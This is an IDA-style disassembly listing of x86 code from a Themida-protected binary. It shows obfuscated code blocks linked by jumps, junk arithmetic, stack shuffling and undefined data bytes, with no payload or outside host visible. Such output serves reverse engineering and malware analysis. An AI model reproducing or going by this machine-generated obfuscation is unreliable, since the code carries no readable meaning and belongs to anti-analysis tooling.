		dd 36600844h, 5A2434FFh, 4C481h, 0EC810000h, 4,	90FE9h
		dd 81E38900h, 4C3h, 4EC8300h, 232FE9h, 11246800h, 14890000h
		dd 267AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568926:				; CODE XREF: Themida_:00562620j
		push	ebp
		jmp	loc_561645
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 0FFFFAB52h, 38E9C201h, 5AFFFF1Eh, 5C24048Fh
		dd 74EC68h, 297CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56894A:				; CODE XREF: Themida_:00560692j
		xor	edi, 74D34D08h
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, 256D5423h
		add	ebx, 40BD7DCCh
		sub	ebx, 21796F6Fh
		add	ebx, esi
		jmp	loc_5629C1
; ---------------------------------------------------------------------------

loc_568971:				; CODE XREF: Themida_:00561035j
		add	edx, 4
		push	ecx
		mov	ecx, 2C385E65h
		neg	ecx
		and	ecx, 7FBA26D1h
		xor	ecx, 53822095h
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		push	ecx
		jmp	loc_566B1D
; ---------------------------------------------------------------------------
		dd 0FBF5ED81h, 0EE81C4ECh, 213A2BB8h, 0C681EE01h, 213A2BB8h
		dd 8B2434FFh, 0C481242Ch, 4, 0FF7D52E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5689C5:				; CODE XREF: Themida_:00559A48j
		add	ebp, 0C3245D9h
		add	ebx, ebp
		jmp	loc_55AF53
; ---------------------------------------------------------------------------

loc_5689D2:				; CODE XREF: Themida_:00561416j
		push	2170h
		jmp	loc_559C13
; ---------------------------------------------------------------------------
aBx9		db 'å9! ',0
aMpskb		db 'MPéKB',0
		db 0
; ---------------------------------------------------------------------------

loc_5689E9:				; CODE XREF: Themida_:0056D2DAj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_55EC8D
; ---------------------------------------------------------------------------
		dd 61E94D5Bh, 0FFFFFF5Dh, 669D1C77h, 2414D259h,	0FE7EE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_568A0E:				; CODE XREF: Themida_:0056BCADj
		mov	ecx, 214E4C75h
		jmp	loc_55D615
; ---------------------------------------------------------------------------
		dd 0C0CCFE59h, 686604ECh, 896676B7h, 0F3B5240Ch, 5966EC00h
		dd 6858E528h, 0
		dd 8A242C28h, 0C483242Ch, 0FAE95104h, 66FFFF40h, 6824048Bh
		dd 46F4h, 68241489h, 1BA4h, 50242489h, 0FFE39DE9h, 241C8BFFh
		dd 0FF18B3E9h, 0FE22E9FFh, 0D800FFFEh, 0F8005B66h, 1B2CF42Ch
		dd 45A665Bh, 2CD800C9h,	0B3F6E9C9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568A82:				; CODE XREF: Themida_:00569647j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	5799h
		mov	[esp], ebx
		mov	ebx, 24h
		add	ebx, edi
		push	1DA0h
		mov	[esp], edx
		push	76BBh
		jmp	loc_569E96
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E95D2434h, 540Fh, 685BDE31h, 221h, 89243C89h, 5ACE9E7h
		dd 0D8B9FFFFh, 4174FC23h, 241CF751h, 59F18159h,	31E81584h
		dd 0EF2959CDh, 0FF5E21E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568AE9:				; CODE XREF: Themida_:0056D044j
		mov	esp, [esp]
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 200000h
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		or	eax, eax
		jz	loc_558A56
		push	dword ptr [edi+28h]
		push	ebx
		jmp	loc_55F6E6
; ---------------------------------------------------------------------------

loc_568B17:				; CODE XREF: Themida_:005649C5j
		push	47B0100h
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_56431A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 24148700h, 4566E95Ch, 0A9B7FFFFh, 0FF661DE9h
		dd 4C481FFh, 0F6000000h, 0DDCA80D2h, 39B55150h,	88E7C580h
		dd 0C20859E8h, 0F6CAFE58h, 80D2F6D2h, 1BE919C2h, 0BFFFFF16h
		dd 0E5313A6h, 5F8DC381h, 0FB2942E3h, 0FF6D2BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568B79:				; CODE XREF: Themida_:0055E9A5j
		pop	edx
		add	edx, 4
		add	edx, 4
		sub	esp, 4
		jmp	loc_56D3C7
; ---------------------------------------------------------------------------
		dw 8150h
		dd 479B2434h, 815F5228h, 28479BF7h, 2434FF52h, 8124048Bh
		dd 4C4h, 0E1895100h, 4BF57h, 0F9010000h, 0ECBF575Fh, 0D13B2D1Bh
		dd 56FFE9E7h, 0D531FFFFh, 30E5815Ah, 4561D978h,	2CC6C581h
		dd 0EB012737h, 81242C8Bh, 4C4h,	15F38100h, 10BFECBh, 0AEE95BD9h
		dd 5100003Bh, 0C181E189h, 4, 4BB53h, 0D9010000h, 39E6E9h
		db 0
; ---------------------------------------------------------------------------

loc_568C01:				; CODE XREF: Themida_:0056A164j
		inc	esi
		jmp	loc_561588
; ---------------------------------------------------------------------------

loc_568C07:				; CODE XREF: Themida_:0056CB51j
		push	edi
		mov	edi, 4
		push	4A88h
		mov	[esp], edi
		mov	edi, 5C1C698Fh
		add	eax, edi
		pop	edi
		add	eax, 50B60B5Eh
		jmp	loc_561C33
; ---------------------------------------------------------------------------

loc_568C27:				; CODE XREF: Themida_:005695C7j
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		add	ebp, 0F39FCEA2h
		push	ebp
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5651E5
; ---------------------------------------------------------------------------

loc_568C3E:				; CODE XREF: Themida_:0056C9B0j
		mov	edx, 71CA6EA4h
		jmp	loc_564716
; ---------------------------------------------------------------------------

loc_568C48:				; CODE XREF: Themida_:0056C78Fj
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 77850918h
		sub	esi, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_564531
; ---------------------------------------------------------------------------
		db 1, 0C3h, 58h
		dd 4B850h, 0C3290000h, 241C8758h, 0E924248Bh, 4E5h, 2C03E8C0h
		dd 66C22076h, 93EA8058h, 27A9E9h, 0EC815200h, 4, 0BE243489h
		dd 656C166Fh, 4E8EF681h, 0C6816944h, 31F4C87Eh,	0FFE3FEE9h
		dd 2168FFh, 0CDE9773Ch,	54000016h, 519BE9h, 24048300h
		dd 0BAE95F01h, 66FFFFE7h, 5624048Bh, 0C681E689h, 4, 0FF1A66E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568CD9:				; CODE XREF: Themida_:00569E55j
		mov	edi, 57F97B95h
		mov	ebx, 16F6420Ah
		xor	ebx, edi
		mov	edi, [esp]
		jmp	loc_5653A2
; ---------------------------------------------------------------------------

loc_568CED:				; CODE XREF: Themida_:0055A3EDj
		add	ebx, 48DA0924h
		and	eax, ebx
		jmp	loc_56BDF4
; ---------------------------------------------------------------------------

loc_568CFA:				; CODE XREF: Themida_:00559C67j
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55EBD0
; ---------------------------------------------------------------------------

loc_568D17:				; CODE XREF: Themida_:0055FC0Dj
		mov	[esp], ecx
		mov	ecx, 28h
		jmp	loc_56B20C
; ---------------------------------------------------------------------------
		dd 3D0568h, 240C8900h, 1122BB53h, 0D98901E5h, 3E9C15Bh
		dd 0FF9A6CE9h, 4EC81FFh, 0E9000000h, 3A39h, 4246C81h, 77797AD2h
		dd 0EBF575Fh, 11F9323h,	5F04247Ch, 0FEFB2BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568D61:				; CODE XREF: Themida_:00567119j
		pop	edi
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_567D82
; ---------------------------------------------------------------------------
		dw 14F7h
aL4Si		db '$‹4$éˆ',8,0
		dd 58C70100h, 0C0B60F59h, 688734FFh, 212Fh, 68241489h
		dd 0DA0h, 68243489h, 73C5h, 0E9241C89h,	9CFh, 0C581F529h
		dd 43373565h, 5826E95Eh, 0C142FFFFh, 0EAC107E2h, 9DF28106h
		dd 29ED3666h, 0CD215AD1h, 0C3E58159h, 814C6F7Bh, 2746BCC5h
		dd 11346869h, 0E2E90000h
		db 44h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568DDF:				; CODE XREF: Themida_:0055AB86j
		mov	eax, esi
		pop	esi
		jmp	loc_562801
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 0FCBE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_568DF2:				; CODE XREF: Themida_:00569C5Bj
		add	esp, 4
		jmp	loc_559880
; ---------------------------------------------------------------------------
		dw 1489h
		dd 2BA24h, 0C3810000h, 23325448h, 0BE56D301h, 406E58C2h
		dd 1C681h, 0F6810000h, 44271A1Dh, 0F681DEF7h, 66F86CC3h
		dd 0FFD7A4E9h, 2474FFFFh, 24048B04h, 266068h, 24048900h
		dd 0BE565854h, 4, 0FFD312E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568E45:				; CODE XREF: Themida_:0055F77Aj
		push	ebp
		jmp	loc_559DB6
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEFA3Ch, 4FE9CD21h
		db 36h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568E57:				; CODE XREF: Themida_:0056D7F3j
		push	3DDDh
		mov	[esp], edx
		mov	edx, 0
		sub	edx, 266F7846h
		sub	edx, ebx
		add	edx, 266F7846h
		xchg	edx, ebx
		jmp	loc_559CB4
; ---------------------------------------------------------------------------

loc_568E79:				; CODE XREF: Themida_:0056725Cj
		push	2265h
		jmp	loc_55DCC5
; ---------------------------------------------------------------------------
		db 89h
		dd 0E389241Ch, 0BA0E950h, 0C381FFFFh, 4, 4BD55h, 0EB810000h
		dd 1E407DE3h, 0FF9EBFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568EA5:				; CODE XREF: Themida_:005599F7j
		pop	ebx
		add	[esp+4], ebx
		pop	ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edi
		push	ebx
		mov	ebx, 4B4C0A47h
		push	ebx
		xor	dword ptr [esp], 46C604B0h
		pop	edi
		xor	edi, 46C604B0h
		pop	ebx
		not	edi
		inc	edi
		inc	edi
		jmp	loc_566B45
; ---------------------------------------------------------------------------

loc_568ED2:				; CODE XREF: Themida_:0055B5EBj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	ecx, 6
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	eax, 45650B44h
		xor	[esp+4], eax
		mov	eax, [esp]
		jmp	loc_560B8B
; ---------------------------------------------------------------------------

loc_568EF7:				; CODE XREF: Themida_:0055D0E0j
		push	edx
		push	edi
		mov	edi, 33194568h
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		and	edx, 0B777D6Dh
		shr	edx, 6
		push	ecx
		mov	ecx, 0FFF3BAEFh
		add	edx, ecx
		jmp	loc_55D35E
; ---------------------------------------------------------------------------
		db 80h
		dd 0B35393C5h, 0BCEB8098h, 0DA885266h, 0CFE9D2F6h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568F33:				; CODE XREF: Themida_:0055C292j
		mov	[esp], edx
		push	200h
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	0BB7h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	esi
		mov	esi, 4
		add	edi, 315467AEh
		add	edi, esi
		sub	edi, 315467AEh
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		jmp	loc_562185
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8904EC83h, 4BE2434h,	56000000h, 523EB951h, 0B4BE2E12h
		dd 31408D34h, 240C8BCEh, 4C481h, 81460000h, 2D284DCEh
		dd 1BADE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_568FA6:				; CODE XREF: Themida_:0055CB1Dj
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, esp
		jmp	loc_56983A
; ---------------------------------------------------------------------------

loc_568FB3:				; CODE XREF: Themida_:0055EC9Fj
		add	edx, ebx
		pop	ebx
		jmp	loc_55D01F
; ---------------------------------------------------------------------------

loc_568FBB:				; CODE XREF: Themida_:00559D2Cj
		mov	edx, 521C4AB4h
		add	ebp, edx
		pop	edx
		sub	ebp, 3EAB6229h
		add	ebp, eax
		jmp	loc_56636F
; ---------------------------------------------------------------------------
		dd 405h, 42D00h, 4870000h, 24895C24h, 24048324h, 4E61E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_568FEA:				; CODE XREF: Themida_:00560A90j
		add	esp, 4
		push	ecx
		pop	eax
		jmp	loc_55BFFB
; ---------------------------------------------------------------------------
		db 0BAh
		dd 792367BDh, 575AD609h, 864C3CBFh, 28F7814Bh, 8100846Ah
		dd 5B2F8CC7h, 0F7E7D178h, 0EF814FDFh, 9DB53DBEh, 95FFE31h
		dd 24348BF0h, 0E904C483h, 0FFFFAC0Bh, 391F852Dh, 58C731E0h
		dd 30E9F829h, 81FFFF39h, 4C43A5C7h, 0C7815D0Bh,	2EC12611h
		dd 0FFD884E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56904D:				; CODE XREF: Themida_:00565E96j
		pop	ebx
		add	eax, 63A26060h
		add	eax, 43C761ECh
		jmp	loc_56A4C3
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 5E242C89h, 5D2434FFh, 4C481h, 0CD310000h, 0FF107BE9h
		dd 1EBE66FFh, 0C78166B4h, 77E920C9h, 8B00000Eh,	0C4832404h
		dd 5848E904h, 1C87FFFFh, 24248B24h, 533F68h, 0EE59E900h
		dd 0C5BDFFFFh, 29207D0Ch, 1411E9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5690AA:				; CODE XREF: Themida_:0055EFB8j
		mov	ebx, 65070F2Ah
		add	ebx, 0FB254C0Dh
		sub	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55B92A
; ---------------------------------------------------------------------------
		dw 0EA01h
		dd 2414335Dh, 33241431h, 248B2414h, 48B6624h, 4EC8124h
		dd 89000000h, 0E2892414h, 436F68h, 24048900h, 1A0F50B8h
		dd 87E95605h, 66FFFF86h, 0E924048Bh, 0FFFFD9EEh, 4C681h
		dd 91E90000h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569107:				; CODE XREF: Themida_:005618D0j
		push	ebx
		xchg	eax, [esp]
		push	eax
		not	dword ptr [esp]
		pop	eax
		jmp	loc_5654BE
; ---------------------------------------------------------------------------

loc_569115:				; CODE XREF: Themida_:00565DEFj
		add	ebx, ebp
		pop	ebp
		jmp	loc_55A9D7
; ---------------------------------------------------------------------------

loc_56911D:				; CODE XREF: Themida_:0056A593j
		push	ebx
		jmp	loc_564998
; ---------------------------------------------------------------------------

loc_569123:				; CODE XREF: Themida_:0055EB8Aj
		mov	ebx, [esp]
		push	ecx
		push	1E50h
		mov	[esp], esp
		jmp	loc_56715C
; ---------------------------------------------------------------------------
		dd 0F017305h, 0F801597Dh, 8904EC83h, 77E9240Ch,	55FFFF5Ch
		dd 7A5EB951h, 4C317F2Ah, 0E9590424h, 0CBCh, 4006E8C1h
		dd 0FF7F6FE9h, 240C89FFh, 515000B1h, 882FB353h,	90B05BDDh
		dd 0FF0C56E9h, 0B85DBEFFh, 0EE299BCCh, 3EEC15Dh, 54C6814Eh
		dd 96A211Dh, 8BCBE9F7h,	1489FFFFh, 0E940B624h, 0FFFF264Eh
; ---------------------------------------------------------------------------

loc_569198:				; CODE XREF: Themida_:00562DCEj
		add	ecx, 4
		jmp	loc_55D5B6
; ---------------------------------------------------------------------------

loc_5691A3:				; CODE XREF: Themida_:0056A795j
		sub	ebp, 6BEB068Eh
		add	ebp, ecx
		push	ecx
		jmp	loc_56C554
; ---------------------------------------------------------------------------

loc_5691B1:				; CODE XREF: Themida_:0056803Bj
		pop	ebx
		push	ebx
		jmp	loc_567BE2
; ---------------------------------------------------------------------------

loc_5691B8:				; CODE XREF: Themida_:00563234j
		push	eax
		pop	esi
		pop	eax
		mov	ebp, esi
		mov	esi, [esp]
		push	ebp
		jmp	loc_5686AF
; ---------------------------------------------------------------------------

loc_5691C6:				; CODE XREF: Themida_:005699DAj
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_561DD4
; ---------------------------------------------------------------------------
		db 87h
		dd 815A2434h, 19ADC9EAh, 5243689Bh, 0B7E90000h,	8BFFFFD6h
		dd 0E957242Ch, 0FFFFBBFDh, 0FEF693E9h, 0E95966FFh, 0FFFFB4A6h
		dd 33240C31h, 0E95C240Ch, 0FFFFA591h, 0F280ECB2h, 0E95066CEh
		dd 0FFFF7FBCh, 0E9243C89h, 0FFFF84C5h, 6699E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569226:				; CODE XREF: Themida_:0056BDB5j
		mov	edx, esp
		jmp	loc_56C6F7
; ---------------------------------------------------------------------------
		db 29h,	0CAh, 59h
		dd 0FF8C04E9h, 240489FFh, 4B8h,	58C60100h, 3059E956h, 0EC81FFFFh
		dd 4, 0BA241489h, 7904051Eh, 0A106EEB8h, 5AD001C9h, 34FFE831h
		dd 0C4815D24h, 4, 0FF12C1E9h, 9F180FFh,	6659CB00h, 74B55159h
		dd 8CE9EB28h, 0F7FFFFA5h, 81DBF7DBh, 2A28C9C3h,	9266E91Ah
		dd 0D001FFFFh, 0FF5875E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_569295:				; CODE XREF: Themida_:0056CCC6j
		or	edx, 269A46A8h
		not	edx
		jmp	loc_56CEE3
; ---------------------------------------------------------------------------

loc_5692A2:				; CODE XREF: Themida_:00563E95j
		add	ebx, 78560140h
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, 56106EC1h
		jmp	loc_562E26
; ---------------------------------------------------------------------------

loc_5692B9:				; CODE XREF: Themida_:00565927j
		add	esp, 4
		sub	esi, 147A27DBh
		pop	edx
		sub	esi, 2
		push	2975h
		jmp	loc_55E39A
; ---------------------------------------------------------------------------
		dw 475Fh
		dd 1075F781h, 0F781644Dh, 5B884563h, 34FFFA01h,	0AAE2E924h
		dd 0BB53FFFFh, 54C73482h, 8C4C57BAh, 5BDA3156h,	343DE281h
		dd 0EA813E4Ch, 3CC341D5h, 0D1EA814Ah, 577D470Eh, 0FF8DD3E9h
		dd 241433FFh, 33241431h, 385C2414h, 65E99CC1h, 0BFFFFEF5h
		dd 25D10570h, 53A3F781h, 0EF814A12h, 400D0700h,	0D104EFC1h
		dd 55B850E7h, 3573560Bh, 75E01276h, 35484048h, 437B1CCBh
		dd 0E958C709h, 1309h, 0EA81DAF7h, 3334E46Dh, 0E95AD329h
		dd 0FFFF938Ah
; ---------------------------------------------------------------------------

loc_569368:				; CODE XREF: Themida_:0055C50Ej
		push	4229h
		mov	[esp], ebx
		mov	ebx, 6E38053Eh
		or	ebx, 375E2228h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_56B09F
; ---------------------------------------------------------------------------
		db 1, 0FAh, 5Fh
		dd 3302C283h, 14312414h, 24143324h, 6624248Bh, 6824048Bh
		dd 6FF7h, 0FF4DE1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5693A9:				; CODE XREF: Themida_:00559FA2j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_564269
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FB6B951h, 0CAE93262h, 83000020h, 1C8904ECh,	4A31E924h
		dd 8B66FFFFh, 3A68240Ch, 89000032h, 0E389241Ch,	58CA68h
		dd 243C8900h, 0FFBDFFE9h, 5EF029FFh, 5553D0F7h,	0A77A7FBDh
		dd 4E5C115h, 556AED81h,	0EB89FA6Ch, 0EFCB815Dh,	813FB640h
		dd 0BD57EBEBh, 41AFE953h, 0C481FFFFh, 4, 0E9DBF74Bh, 0FFFF4361h
		dd 656D792Dh, 0C9E9593Fh, 51000044h, 782CD5B9h,	5CC1813Fh
		dd 81272412h, 8209A2F1h, 8BC8891Bh, 0C481240Ch,	4, 0E3FE642Dh
		dd 8BC52916h, 9E92404h,	5500003Eh, 5F72AABDh, 0DE5815Dh
		dd 0F705B20Ch, 0D32BE9DDh, 0E955FFFFh, 0FFFF73F5h, 0F6124868h
		dd 0ED815D5Bh, 0A3D29F5h, 21C7C581h, 0EE890B21h, 0F7EE875Dh
		dd 56EE87D5h, 0F75F5E57h, 81FE87D7h, 3E721FF6h,	1FC38159h
		dd 2950E155h, 1FEB81F3h, 8B50E155h, 89532434h, 4C381E3h
		dd 51000000h, 4B9h, 0DAEB8100h,	15B3C43h, 0DAC381CBh, 595B3C43h
		dd 27FDE9h
		db 0
; ---------------------------------------------------------------------------

loc_5694D9:				; CODE XREF: Themida_:0055C538j
		push	7D595E4Dh
		pop	edi
		add	edi, 0B1FEF1A6h
		mov	eax, edi
		pop	edi
		push	77BAh
		jmp	loc_56CF71
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 654F168Eh, 0BA5DE889h, 654F168Ah, 158C231h, 0EA37E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56950A:				; CODE XREF: Themida_:0055A852j
		or	eax, eax
		jz	loc_564F81
		push	ebx
		push	1Ch
		pop	ebx
		jmp	loc_5614C6
; ---------------------------------------------------------------------------
		dw 55Ah
		dd 4, 0FF843DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_569529:				; CODE XREF: Themida_:00558D1Cj
		add	ebx, edx
		jmp	loc_567EA5
; ---------------------------------------------------------------------------
		dd 42474FFh, 0FFF57AE9h, 2CBF57FFh, 81177A47h, 0F1408DEFh
		dd 81DFF745h, 4EB9D5F7h, 5FFA2944h, 8BD0015Bh, 0EE92414h
		dd 5AFFFFCFh, 31240C33h, 0D7E9240Ch
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_569567:				; CODE XREF: Themida_:0056B925j
		add	edi, 209B0F9Dh
		jmp	loc_5601E9
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 35627E1h, 0BB53575Ah, 5EA23636h, 3FE9F381h, 0DF897C05h
		dd 34CF815Bh, 81098646h, 875C8FC7h, 5FFE3120h, 348BF089h
		dd 4C48124h, 2D000000h,	19F85B3Dh, 0D305D0F7h, 1FB6204h
		dd 24048BC1h, 0E904C483h, 3D8Ch
; ---------------------------------------------------------------------------

loc_5695BC:				; CODE XREF: Themida_:0055CC0Cj
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_568C27
; ---------------------------------------------------------------------------
		dd 57240C89h, 1D7545BFh, 0CBE9E96Ch, 0E951FFFFh, 0FFFF9BEAh
; ---------------------------------------------------------------------------

loc_5695E0:				; CODE XREF: Themida_:00562482j
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_56376E
; ---------------------------------------------------------------------------
		db 0F6h, 0D5h, 66h
		dd 832B252h, 805A66D5h,	0E5C0AEF5h, 8EDC008h, 0EDB55152h
		dd 0FFE9BBE9h, 4C481FFh, 81000000h, 0EEAEDAEEh,	0E9F789BEh
		dd 0FFFF1656h
; ---------------------------------------------------------------------------

loc_56961C:				; CODE XREF: Themida_:00562393j
		sub	esi, 5F95525Eh
		add	esi, edi
		add	esi, 5F95525Eh
		jmp	loc_5618AB
; ---------------------------------------------------------------------------

loc_56962F:				; CODE XREF: Themida_:00569697j
		pop	esp
		sub	[edi+24h], ebp
		pop	ebp

loc_569634:				; CODE XREF: Themida_:00566CD2j
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_56A54D
; ---------------------------------------------------------------------------

loc_569641:				; CODE XREF: Themida_:0055A9B6j
		add	esi, 4
		jmp	loc_568A82
; ---------------------------------------------------------------------------

loc_56964C:				; CODE XREF: Themida_:0055DA79j
		mov	ch, 0BBh
		push	bx
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		jmp	loc_567267
; ---------------------------------------------------------------------------

loc_56965C:				; CODE XREF: Themida_:0056DA69j
		push	edx
		mov	edx, esp
		jmp	loc_55F663
; ---------------------------------------------------------------------------
		dd 8095B252h, 0DAF66AE2h, 0C280DAF6h, 0DEC28017h, 345AD020h
		dd 0E9C300B2h, 0FFFF19EEh
; ---------------------------------------------------------------------------

loc_569680:				; CODE XREF: Themida_:0055E523j
		mov	ebp, 1FEE23E2h
		jmp	loc_55ABE5
; ---------------------------------------------------------------------------
		dw 6468h
		dd 0E97C283Fh, 0FFFFE0AFh
; ---------------------------------------------------------------------------

loc_569694:				; CODE XREF: Themida_:0056B3ECj
		xor	eax, [esp]
		jmp	loc_56962F
; ---------------------------------------------------------------------------
		dd 4246C81h, 7135DD0h, 2404815Dh, 29E61D2Ah, 0FEF1DBE9h
		dd 35FDBFFFh, 0E7817D86h, 2C72034Fh, 8104E7C1h,	391FA1C7h
		dd 0A4E7811Bh, 817E2147h, 0A0E418EFh, 4EE81D6h,	8139F660h
		dd 0AA4B75C6h, 81FE293Eh, 0AA4B75EEh, 18A6E93Eh, 0B951FFFFh
		dd 0D91ECF02h, 0E959CB31h, 0FFFF3775h, 0E92434FFh, 0FFFF0304h
; ---------------------------------------------------------------------------

loc_569700:				; CODE XREF: Themida_:005685A7j
		push	esp
		pop	dword ptr [esp]
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_563A90
; ---------------------------------------------------------------------------
		db 30h,	0FDh, 30h
		dd 0F6FD30EFh, 50FD86D7h, 0FF5877E9h, 80C3FEFFh, 0CBFE35CBh
		dd 0F605B551h, 48ED80DDh, 0FEF94DE9h, 374C68FFh, 0DDE90000h
		dd 8BFFFF45h, 0C483241Ch, 0FFF88904h, 685F2434h, 546Eh
		dd 89240C89h, 4C181E1h,	0E9000000h, 0FFFF854Dh,	0BDE9C829h
		dd 55FFFFF9h, 0B7592968h, 0DDF75D71h, 2414F755h, 18F5815Dh
		dd 555EFB68h, 0CB815D5Bh, 582439A1h, 1440E9h, 28F6600h
		dd 0FEF0EBE9h, 24048FFFh, 421665Ch, 0DDE99C24h,	80FFFEF0h
		dd 0FE2838F7h, 53CE285Bh, 0FFD66BE9h, 0DCC181FFh, 0E9E72761h
		dd 0FFFF1EFAh, 2434FF59h, 4C48159h, 55000000h, 0FFA07EE9h
		dd 2C8151FFh, 7A584724h, 47055863h, 59637A58h, 0E908E8C1h
		dd 0FFFF1C5Dh
; ---------------------------------------------------------------------------

loc_5697F0:				; CODE XREF: Themida_:00566101j
		shl	edx, 8
		sub	edx, 8570EE86h
		jmp	loc_56D423
; ---------------------------------------------------------------------------

loc_5697FE:				; CODE XREF: Themida_:00563AFBj
		pop	esp
		push	edi
		jmp	loc_56B6DB
; ---------------------------------------------------------------------------

loc_569805:				; CODE XREF: Themida_:00569D6Fj
		add	ebx, 112001C9h
		add	ebx, 0D5E1B12h
		sub	ebx, edi
		sub	ebx, 0D5E1B12h
		push	edi
		mov	edi, 0E2E4111h
		sub	edi, 58601742h
		jmp	loc_55E6BC
; ---------------------------------------------------------------------------
		dw 0FA87h
		dd 5B07EA81h, 0D58901B0h, 0C982E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56983A:				; CODE XREF: Themida_:00568FAEj
		push	esi
		mov	esi, 4
		sub	ecx, 776812A0h
		sub	ecx, 398969A1h
		jmp	loc_569C0E
; ---------------------------------------------------------------------------
		db 5Ah,	0C1h, 0EDh
		dd 81E5D108h, 0F13B29CDh, 0ABF58101h, 101F9BBh,	34875DEEh
		dd 0CFE95C24h
		db 0F8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56986F:				; CODE XREF: Themida_:005664E0j
		push	ebx
		xor	dword ptr [esp], 1010B00h
		pop	ecx
		xor	ecx, 1010B00h
		jmp	loc_5594CE
; ---------------------------------------------------------------------------

loc_569883:				; CODE XREF: Themida_:0056889Bj
		push	esp
		jmp	loc_560D55
; ---------------------------------------------------------------------------

loc_569889:				; CODE XREF: Themida_:00564146j
		push	esi
		mov	esi, esp
		push	161Eh
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 2BC52B2h
		jmp	loc_561FB5
; ---------------------------------------------------------------------------
		db 54h
		dd 0E92434FFh, 0FFFF3CD6h
; ---------------------------------------------------------------------------

loc_5698B0:				; CODE XREF: Themida_:0055B0C7j
		sub	bh, 0D1h
		jmp	loc_55FBC3
; ---------------------------------------------------------------------------
		dd 3304C483h, 14312414h, 9227E924h, 565DFFFFh, 42474FFh
		dd 0FF9D6AE9h, 80C2FEFFh, 0D000EDF2h, 240C8B5Ah, 0FF0208E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5698E1:				; CODE XREF: Themida_:005670D1j
